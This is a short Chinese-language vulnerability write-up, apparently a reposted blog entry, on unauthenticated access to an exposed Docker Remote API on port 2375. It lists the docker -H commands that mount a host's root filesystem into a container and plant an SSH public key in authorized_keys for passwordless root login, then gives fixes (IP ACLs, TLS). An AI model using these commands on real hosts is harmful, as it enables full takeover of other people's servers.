Docker Remote API未授權訪問
阿新 • • 發佈:2019-01-10
0x00 漏洞原因
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
docker守護程序監聽在0.0.0.0,外網可訪問
沒有使用iptables等限制可連線的來源ip
0x01 漏洞利用
1.遠端對被攻擊的主機的docker容器進行操作
docker -H tcp://remoteip:2375 images
遠端啟動被攻擊主機的docker容器.並掛在宿主機的目錄,通過容器修改宿主機的authrized_keys檔案,寫入公鑰.
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash
0x02 演示步驟
ssh-keygen 生成公鑰檔案
docker -H tcp://remoteip:2375 images 檢視映象
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash 啟動一個容器並將宿主機根目錄掛在到容器的mnt目錄
mkdir .ssh 建立ssh目錄
touch authorized_keys 建立檔案
將公鑰的檔案寫入authorized_keys
ssh [email protected] 免密碼登入宿主機
0x03 修復方法
設定ACL, 只允許信任ip連線對應埠 開啟TLS,使用生成的證書進行認證